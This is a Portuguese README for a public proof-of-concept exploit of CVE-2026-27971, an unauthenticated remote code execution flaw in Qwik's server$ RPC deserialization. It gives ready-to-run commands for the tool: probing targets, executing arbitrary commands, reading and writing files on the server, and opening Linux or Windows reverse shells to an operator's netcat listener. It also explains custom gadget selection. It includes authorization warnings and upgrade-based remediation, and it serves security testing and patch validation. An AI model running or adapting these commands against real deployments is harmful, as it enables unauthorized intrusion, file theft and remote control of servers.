CVE-2026-27971 — PoC de RCE sem autenticação no Qwik server$

[!WARNING] Este repositório contém uma prova de conceito ativa de execução remota de código. Utilize-a apenas em sistemas que você possua ou para os quais tenha autorização explícita para testar. O autor não se responsabiliza por uso não autorizado ou danos.

Uma prova de conceito independente em Python para CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, uma vulnerabilidade de execução remota de código não autenticada no mecanismo de desserialização RPC server$ do Qwik.

O PoC pode realizar uma sondagem ativa por marcador, executar comandos, ler ou gravar arquivos de texto e solicitar um reverse shell em alvos Linux ou Windows. Ele utiliza apenas a biblioteca padrão do Python.

Resumo da vulnerabilidade

Uma solicitação application/qwik-json malformada pode referenciar um módulo do lado do servidor e um símbolo exportado. Versões vulneráveis do Qwik podem resolver um QRL não registrado por meio do require() em tempo de execução e invocá-lo sem autenticação. Este PoC tenta alcançar uma exportação compatível de execução de processo já presente no node_modules do alvo.

Requisitos

Operador:

• Python 3.
• Acesso de rede à rota exata do Qwik que processa a solicitação server$/Qwik JSON.
• Um listener acessível a partir do alvo ao testar a funcionalidade de reverse shell.

Alvo:

• Uma implantação vulnerável do Qwik usando @builder.io/qwik <= 1.19.0.
• Um runtime em que require() esteja disponível.
• Um módulo gadget compatível e uma exportação acessíveis em node_modules.
• node disponível no PATH do processo do serviço.
• Permissões suficientes da conta de serviço para o comando ou a operação de arquivo solicitada.

Nenhum pacote Python de terceiros é necessário.

Início rápido

git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Liste os gadgets integrados sem enviar uma solicitação:

python3 exploit_combat.py --list-gadgets

Execute uma sondagem ativa por marcador e experimente todos os gadgets integrados:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe não é detecção passiva de versão. Ele tenta executar código remotamente e confirma isso imprimindo um marcador do processo do alvo.

Exemplos de uso

Execute um comando:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Leia um arquivo de texto UTF-8:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Grave e verifique um arquivo de texto UTF-8:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Solicite um reverse shell após iniciar um listener persistente:

nc -lvnp 4444

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Force o payload de reverse shell do Windows quando a detecção automática do SO for inadequada:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

O script não inicia um listener. A verificação prévia de --callback abre e fecha uma conexão TCP separada antes de enviar o payload do shell; portanto, use um listener que possa aceitar mais de uma conexão.

Referência da CLI

Os modos de ação não são mutuamente exclusivos no parser. Use um de --probe, --CMD, --read, --write ou --lhost por invocação.

Gadgets integrados

--gadget auto testa esses gadgets na ordem listada. Um gadget personalizado pode ser fornecido da seguinte forma:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Limitações importantes

• Uma sondagem negativa não é prova de que o alvo foi corrigido. Ela pode indicar uma rota incorreta, um gadget ausente ou incompatível, um erro de rede/TLS, filtragem ou um layout de implantação diferente.
• O gadget padrão é cross-spawn.sync, e não a descoberta automática. Use --gadget auto quando o layout de dependências do alvo for desconhecido.
• A ferramenta não tem opções para cookies, cabeçalhos de autorização, proxies ou cabeçalhos personalizados arbitrários.
• As operações de arquivo são orientadas a texto. --read espera UTF-8 e --write não se destina a dados binários.
• Os caminhos relativos são resolvidos a partir do diretório de trabalho do processo Qwik. Todas as operações são executadas com as permissões da conta de serviço do Qwik.
• As mensagens de sucesso do reverse shell indicam que a solicitação HTTP do exploit foi aceita; elas não provam que um callback foi recebido.
• --rev-all pode iniciar vários processos ou callbacks no alvo. Use-o apenas em um laboratório isolado.
• Os códigos de saída do processo refletem principalmente o tratamento da sondagem e do transporte, não o status de saída do comando remoto nem a presença de um shell funcional.
• A ferramenta não identifica a versão do Qwik instalada e não deve ser usada como substituto do inventário de dependências.

Remediação

Atualize @builder.io/qwik para 1.19.1 ou posterior, atualize o lockfile, recompile o aplicativo e reimplante todos os artefatos do servidor. Remover um gadget compatível por si só não é uma correção completa para a vulnerabilidade subjacente do Qwik.

Referências

• Aviso de segurança do Qwik — GHSA-p9x5-jp3h-96mm
• Banco de dados de advisories do GitHub — CVE-2026-27971
• Lançamento corrigido do Qwik 1.19.1
• Commit da correção upstream
• Registro CVE
• Entrada NVD

Aviso legal

Este projeto é fornecido para pesquisa de segurança, validação defensiva e testes autorizados. Não o utilize contra sistemas sem permissão explícita.